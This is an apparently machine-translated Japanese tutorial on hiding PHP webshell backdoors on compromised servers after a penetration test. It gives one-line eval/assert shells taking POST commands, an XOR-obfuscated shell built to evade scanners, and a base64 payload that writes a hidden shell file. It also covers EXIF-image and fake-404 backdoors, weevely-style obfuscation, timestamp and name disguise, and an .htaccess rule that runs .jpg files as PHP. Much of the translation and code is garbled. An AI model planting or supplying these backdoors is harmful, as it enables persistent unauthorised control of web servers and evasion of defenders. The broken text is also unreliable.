テストが成功した後は、通常、バックドアを離れる作業が重要です。バックドアには、データベース権限、WEB 権限、システム ユーザー権限などが含まれますが、これらに限定されません。フォルクスワーゲンのバックドアに隠されたアイデアの一部。
AD:
0×00 はじめに
テストが成功した後、通常、バックドアを離れる作業は非常に重要です。 WEB 権限、システム ユーザー権限など。この記事では、人気のあるバックドアに隠されているいくつかのアイデアを広めます
他の人を引き付けるための例として PHP-WEBBACKDOOR を取り上げます
最も一般的な 1 文のバックドアは次のように記述できます。この
- eval($_POST['cmd']);?>
または this
- $_POST[' cmd' ]);?>
もちろん、これは呼び出される関数が異なるだけです。PHP によって無効にされる関数については、php.ini: disable_functions で探してください。
しかし、方法はたくさんあります。たとえば、
◆ ファイル名/変更時間/サイズ、ファイル バックアップの比較を通じて異常を発見し、Scanbackdoor.php/Pecker/shelldetect などの WEBSHELL バックドア スキャン スクリプトを通じて発見した操作とメンテナンスを可能にします。 phpや各種スキャナーなど
◆Access.logのアクセスログからバックドアの場所が判明
◆あるいは、テスト文がWAFにブロックされ、警告ログ等が残る
一般的な検出方法のうち、シェルを隠すための次の 7 つの一般的な手法をまとめました
0×01 回避
さまざまなスキャン バックドア コードを見ると、誰もが知っていて誰もが叫んでいるキーワードを残すことは絶対に許可されていないことがわかります。シェル
のような一般的なキーワード:
◆システムコマンドの実行: system、passthru、shell_exec、exec、popen、proc_open
◆コードの実行: eval、assert、call_user_func、base64_decode、gzinflate、gzuncompress、gzdecode、 str_rot13
◆ファイルの内容: require、require_once、include、include_once、file_get_contents、file_put_contents、fputs、fwrite
以前、友人が $_POST[0]($_POST[1]) を巧みに使ってコマンドを実行していました。今はスキャナーから逃れるのは難しいですが、すべてが変わり、構築方法は無限です
tudouya クラスメイトが FREEBUF (http://www.freebuf.com/articles/web/33824. html)
@$ _++;
// $_ = 1 $__=(
"#"^"|"); __ = _ $__.=( "."^
"~"); "); // _PO $ __.=("|"^
"/"); // _POS $__.=("{" ^
"/"); // _POST ${$__}[!$_](${
$__}[$_]); ]($_POST[1]); ?> 直感的すぎる場合は、次のように書くこともできます $ _++;$__=("#"^"|").( "."^"~").("/"^"`").(
"|"^ "/").("{"^
"/");@${
$__}[!
$_](${- $__}[$_]);?> コードは偽装され、単純な「アンチキル」シェルのサンプルが表示されますこれは正しく実行され、通常のスキャナーをバイパスします0×02機能 を使用して新しい一時シェルを作成することもできます。これは、変数を処理するときに PHP の文法機能を利用してコマンドを実行する興味深い方法でもあり、二重引用符で囲まれたデータに変数が含まれているかどうかを分析します (そしてその値を解析します)例:。 ${@ eval(phpinfo())} {} は二重引用符で囲まれた変数の内容を解析できます。@エラーを保持して実行を続行しますその後、隠しバックドアの構築を開始できますが、ここでの構造は関数によって引き起こされるコマンドの実行は、はい、preg_replace"//e",$_POST['cmd'],"");?> ;
このメソッドは明らかにスキャナーのブラックリストに含まれています。簡単に変更してください
- function funfunc($str){}
- echo preg_replace("/(.+?)/ies", 'funfunc ("1")', $_POST["cmd"]);
?> - の実行方法は明らかです。 ${phpinfo()}} は funfunc に渡されたときにコードを実行しました
funfunc("{${phpinfo()}}")
別のメソッド -
"$ arr="".
$_GET['cmd'].
"";");?> -
0×03 contains
fileには全員が含まれています すべての方法を試しました、ただし、通常のファイルのインクルードは、特定の txt または jpg を含むインクルードだけであったり、インクルードの脆弱性を直接残したりすることもありますが、スキャナーがそれを見つけるのは簡単で、追加のインクルード ファイルもインクルードされます。簡単に見つかりますこのスクリプトを見てください
if(@isset(
$_GET[content])) - {
- $fp=fopen('REA DME','w ');
- file_put_contents('README',"
- fclose($fp); require 'README';}
- ?> これで問題は解決します。使用できます生成してからインクルードします 残念ながら、file_put_contents などの関数は機密性が高すぎるため、スキャンすることで簡単に発見されます
- アクセスによって生成されるシェルの作成にはエンコーディングが使用されます。 @fputs(fopen(
base64_decode (- 'cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ?>
一部を回避できます人々の注意を引くために、生成された新しいファイルも検出を避けるために単純に隠されるべきです もちろん、この方法の場合、ヒューリスティックなどの新しい概念は考慮されません。ニーズに応えられず、賢い 攻撃者は画像を取り戻した
$exif=exif_read_data('./lol.jpg');preg_replace($exif[- 'Make'],$exif ['Model'] ,'');?> ファイルの特定のフラグも可能ですここでは、未定義関数 exif_read_data() への呼び出しを求めるプロンプトが表示される場合があります php.ini、extension=php_exif を変更する必要があります.dll読み込み順序を extension=php_mbstring.dll に変更します。 後ろから見てみると、この画像バックドアが preg_replace e パラメーターに依存し、PHP の変数解析と実行に依存し、base64 エンコーディングを使用していることがわかります。最後に、ファイルの識別に基づいて完全なシェルを組み立てますが、これは初心者向けのバックドアを隠すものとみなすことができます。ファイルは多様で、error_log (閉じられている可能性もあります) も含まれていますが、予期せぬことだけです...
- 0×04 は隠されています
訪問者を防ぐため バックドアの存在を発見した後、賢明なセキュリティ研究者も一般の人々を混乱させ、謎を作る- "-//IETF//DTD HTML 2.0//EN"> >
- ? >
-
- 上記の HTML レンダリングの助けを借りて、閲覧ページは閲覧者を混乱させるために 404 を偽装し始めています
- しかし、これは、訪問者やログ分析によって回避することはできません。ログの数、構造 次のスクリプト
header(- 'HTTP/1.1 404');
- @
fputs(- fopen(
base64_decode( - ') cGx1Z2luX20ucGhw'),w)、base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==')); アクセスは実際の 404 です、はい、同じことがログにも当てはまります しかし、この時点で、接続したいスクリプトは現在のディレクトリに生成されています
- 0×05の混乱
weevelyツールを使ったことがある人は、それが生成するアンチキルシェルが次のようなものであることを知っているはずです <?php pccgiugijgsujz4nogi2v2ywoygimfzzty0x2girly2gi9kgizshwcmvn "; =
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; -
$smgv = - $ftdf( "f", "",
" bfafsfef6f4_fdfefcodfe”); - $rdwm = $jgfi( '', ) $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh)));
?> ターミナルに接続すると、次のようになります
追伸: スクリーンショットのターミナルコードを変更するのを忘れました: (強制終了を回避する方法は、固定領域の変数にランダムな名前を入力し、str_replace を使用して、base64_decode (コマンドを実行するプロセス) を結合しますもちろん、これは、スキャナーを回避するために、コード レベルでオーディオとビジュアルを混同するためです
- 難読化の方法:
- ◆ファイル時刻を変更◆名前を変更してアップロードに統合 ファイルが置かれているフォルダーにより、ファイルの異常を視覚的に検出することが不可能になります◆ファイルサイズの偽装処理(少なくともサイズは通常のスクリプト)
- ◆非表示のパスを選択し、できるだけアクセスしないようにしてください◆異常なディレクトリ %20 スペースディレクトリについては、比較的見つけやすいです
-
0×06の解析.htaccessを使用してください解析バックドアを追加するにはのような:
- AddType application/x-httpd-php .jpg
-
上記は weeverly を例にしています0×07 Mixture
上記の方法を要約すると、そのほとんどは脆弱性を構築するプロセスにすぎません。脆弱性によって構築されたコードがどれほど奇妙であっても、バックドアは可能な限り繊細かつ優雅な方法で記述することができます。 、または単純で粗雑なものにすることもできますが、適用できる状況は異なります。たとえば、アイデアをうまく統合して独自の隠しシェルを構築することは難しくありません。上記は単なる経験の要約です。興味深いアイデアがあれば、ください。気軽に教えてください
上記では、PHP のバックドアの隠蔽とメンテナンスのテクニックを、関連する内容も含めて紹介しています。PHP チュートリアルに興味のある友人に役立つことを願っています。